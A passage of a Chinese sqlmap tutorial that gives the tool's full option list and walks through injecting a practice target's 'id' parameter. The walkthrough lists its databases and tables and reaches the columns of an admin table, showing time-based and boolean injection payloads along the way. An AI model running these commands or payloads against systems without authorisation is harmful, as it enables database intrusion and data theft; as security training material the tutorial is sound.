一、关于sqlmap的介绍
1、SQLmap工具简介
SQLmap是一款开源的SQL注入漏洞检测、利用工具;
可以检测动态页面中get/post参数、cookie、http头;
它由Python语言开发而成,运行需要安装python环境;
在kali中已经集成,其功能完善,适用几乎所有数据库,可自动进行数据榨取;
可以获取数据库指纹信息、访问底层文件系统、执行操作系统命令;
也可以做XSS漏洞检测;
注意:sqlmap是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,所以使用前先找出sql注入点。
2、SQLmap基于5种漏洞检测技术
(注:无论哪种检测,都是为了证明目标存在SQL注入漏洞)
2.1、基于布尔的盲注检测;
2.2、基于时间的盲注检测;
'and (select*from (select(sleep(20)))a)--+
2.3、基于错误的检测;
2.4、基于UNION联合查询的检测;
适用于通过循环直接输出联合查询结果,否则只显示第一项结果
2.5、基于堆叠查询的检测;
通过分号(;)堆叠多个查询语句
适用于非select的数据修改、删除的操作
3、SQLmap支持的数据库管理系统DMBS
MySQL、Oracle、PostgreSQL、Microsoft SQL Server, Microsoft Access,IBM DB2, SQLite,Firebird, Sybase , SAP MaxDB
4、SQLmap的其他特性
4.1、数据库直接连接 -d 【客户端直接连接服务器端数据库,链接账户信息】;
不通过SQL注入,但需要指定身份认证信息、IP、端口,可直接查看数据库信息;
4.2、与burpsuite、Google结合使用,支持正则表达式限定测试目标;
4.3、Get、Post、Cookie、Referer、User-Agent(随机或指定);
支持扫描身份认证后的web application,认证成功后,服务器会返回cookie,SQLmap智能,Cookie过期后会自动处理Set-Cookie头、更新Cookie信息【不用担心扫描过程中,cookie过期】
4.4、限速:最大并发、延迟发送;
4.5、支持Basic,Digeset,NTLM,CA身份认证;
4.6、数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称;
4.7、文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表;
4.8、与W3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门;
二、下载安装sqlmap
1、官网地址:sqlmap: automatic SQL injection and database takeover tool
git下载:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
2、验证sqlmap安装成功:
./sqlmap.py -v
显示如下日志则说明成功:
__H__
___ ___[)]_____ ___ ___ {1.5.11.10#dev}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: Python sqlmap.py [options]
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). Use -h for basic and -hh for advanced help
3、升级
sqlmap --update #在线更新
git clone https://github.com/sqlmapproject/sqlmap.git #离线更新
git pull
4、功能详情
sqlmap –h #常用参数列表
查看结果:
___
__H__
___ ___[)]_____ ___ ___ {1.5.11.10#dev}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: Python sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'
5、所有参数列表
sqlmap –hh #所有参数列表
查看结果:
___
__H__
___ ___[']_____ ___ ___ {1.5.11.10#dev}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: Python sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--live-cookies=L.. Live cookies file used for loading up-to-date values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--proxy-freq=PRO.. Requests between change of proxy from a given list
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--retry-on=RETRYON Retry request on regexp matching content (e.g. "drop")
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64P.. Parameter(s) containing Base64 encoded data
--base64-safe Use URL and filename safe Base64 alphabet (RFC 4648)
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use hex conversion during data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--preprocess=PRE.. Use given script(s) for preprocessing (request)
--postprocess=PO.. Use given script(s) for postprocessing (response)
--repair Redump entries having unknown character marker (?)
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp for filtering targets
--skip-heuristics Skip heuristic detection of vulnerabilities
--skip-waf Skip heuristic detection of WAF/IPS protection
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap")
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")
Miscellaneous:
These options do not fit into any other category
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when vulnerability is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--list-tampers Display list of available tamper scripts
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users
三、SQL注入
1、首先网上找到了SQL 注入靶场:http://59.63.200.79:8003/?id=1
# 基础语法
sqlmap.py -u “注入地址” --dbs # 列举数据库
sqlmap.py -u “注入地址” --current--db # 当前数据库
sqlmap.py -u “注入地址” --users # 列数据库用户
sqlmap.py -u “注入地址” --current--user # 当前用户
sqlmap.py -u “注入地址” --tables -D “数据库” # 列举数据库的表名
sqlmap.py -u “注入地址” --columns -T “表名” -D “数据库” # 获取表的列名
sqlmap.py -u “注入地址” --dump -C “列名字” -T “表名字” -D “数据库” # 获取数据库下表的列信息
2、查看是否可以SQL注入:
python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch
查看执行结果:
___
__H__
___ ___[,]_____ ___ ___ {1.5.11.10#dev}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:51:14 /2021-12-01/
[18:51:15] [INFO] testing connection to the target URL
[18:51:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:51:15] [INFO] testing if the target URL content is stable
[18:51:15] [INFO] target URL content is stable
[18:51:15] [INFO] testing if GET parameter 'id' is dynamic
[18:51:15] [INFO] GET parameter 'id' appears to be dynamic
[18:51:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[18:51:16] [INFO] testing for SQL injection on GET parameter 'id'
[18:51:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:51:16] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="DNA")
[18:51:17] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[18:51:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[18:51:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[18:51:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[18:51:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[18:51:17] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[18:51:17] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[18:51:17] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[18:51:17] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[18:51:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:51:17] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:51:17] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:51:17] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:51:17] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[18:51:17] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[18:51:17] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:51:17] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[18:51:17] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[18:51:17] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[18:51:17] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[18:51:17] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[18:51:17] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[18:51:17] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[18:51:17] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[18:51:17] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[18:51:17] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[18:51:17] [INFO] testing 'Generic inline queries'
[18:51:17] [INFO] testing 'MySQL inline queries'
[18:51:18] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[18:51:18] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[18:51:18] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[18:51:18] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[18:51:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[18:51:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[18:51:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:51:28] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[18:51:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:51:28] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:51:28] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:51:28] [INFO] target URL appears to have 2 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:51:29] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[18:51:30] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:51:31] [INFO] testing 'MySQL UNION query (29) - 1 to 20 columns'
[18:51:31] [INFO] testing 'MySQL UNION query (29) - 21 to 40 columns'
[18:51:32] [INFO] testing 'MySQL UNION query (29) - 41 to 60 columns'
[18:51:33] [INFO] testing 'MySQL UNION query (29) - 61 to 80 columns'
[18:51:33] [INFO] testing 'MySQL UNION query (29) - 81 to 100 columns'
[18:51:34] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 228 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2663=2663
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 1019 FROM (SELECT(SLEEP(5)))aUkW)
---
[18:51:34] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[18:51:34] [INFO] fetched data logged to text files under '/Users/leiyuxing/.local/share/sqlmap/output/59.63.200.79'
[*] ending @ 18:51:34 /2021-12-01/
3、查看数据库:
./sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch --dbs
查看执行结果:
___
__H__
___ ___["]_____ ___ ___ {1.5.11.10#dev}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:59:10 /2021-12-01/
[18:59:10] [INFO] resuming back-end DBMS 'mysql'
[18:59:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2663=2663
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 1019 FROM (SELECT(SLEEP(5)))aUkW)
---
[18:59:10] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[18:59:10] [INFO] fetching database names
[18:59:10] [INFO] fetching number of databases
[18:59:10] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:59:10] [INFO] retrieved: 3
[18:59:11] [INFO] retrieved: information_schema
[18:59:16] [INFO] retrieved: maoshe
[18:59:18] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] maoshe
[*] test
[18:59:19] [INFO] fetched data logged to text files under '/Users/leiyuxing/.local/share/sqlmap/output/59.63.200.79'
[*] ending @ 18:59:19 /2021-12-01/
4、查看当前使用的数据库:
./sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch --current-db
查看执行结果:
___
__H__
___ ___[,]_____ ___ ___ {1.5.11.10#dev}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:26:59 /2021-12-01/
[19:26:59] [INFO] resuming back-end DBMS 'mysql'
[19:26:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2663=2663
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 1019 FROM (SELECT(SLEEP(5)))aUkW)
---
[19:26:59] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[19:26:59] [INFO] fetching current database
[19:26:59] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:26:59] [INFO] retrieved: maoshe
current database: 'maoshe'
[19:27:01] [INFO] fetched data logged to text files under '/Users/leiyuxing/.local/share/sqlmap/output/59.63.200.79'
[*] ending @ 19:27:01 /2021-12-01/
5、查看当前数据库的表:
./sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch -D maoshe --tables
查看执行结果:
___
__H__
___ ___[.]_____ ___ ___ {1.5.11.10#dev}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:53:20 /2021-12-22/
[17:53:21] [INFO] resuming back-end DBMS 'mysql'
[17:53:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2663=2663
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 1019 FROM (SELECT(SLEEP(5)))aUkW)
---
[17:53:21] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[17:53:21] [INFO] fetching tables for database: 'maoshe'
[17:53:21] [INFO] fetching number of tables for database 'maoshe'
[17:53:21] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:53:21] [INFO] retrieved: 4
[17:53:21] [INFO] retrieved: admin
[17:53:23] [INFO] retrieved: dirs
[17:53:24] [INFO] retrieved: news
[17:53:25] [INFO] retrieved: xss
Database: maoshe
[4 tables]
+-------+
| admin |
| dirs |
| news |
| xss |
+-------+
[17:53:26] [INFO] fetched data logged to text files under '/Users/leiyuxing/.local/share/sqlmap/output/59.63.200.79'
[*] ending @ 17:53:26 /2021-12-22/
6、查看admin表的sql字段列:
./sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch -D maoshe -T admin --columns
查看执行结果:
___
__H__
___ ___[)]_____ ___ ___ {1.5.11.10#dev}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:31:38 /2021-12-01/
[19:31:38] [INFO] resuming back-end DBMS 'mysql'
[19:31:38] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2663=2663
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 1019 FROM (SELECT(SLEEP(5)))aUkW)
---
[19:31:39] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[19:31:39] [INFO] fetching columns for table 'admin' in database 'maoshe'
[19:31:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:31:39] [INFO] retrieved: 3
[19:31:39] [INFO] retrieved: Id
[19:31:40] [INFO] retrieved: int(11)
[19:31:43] [INFO] retrieved: username
[19:31:45] [INFO] retrieved: varchar(11)
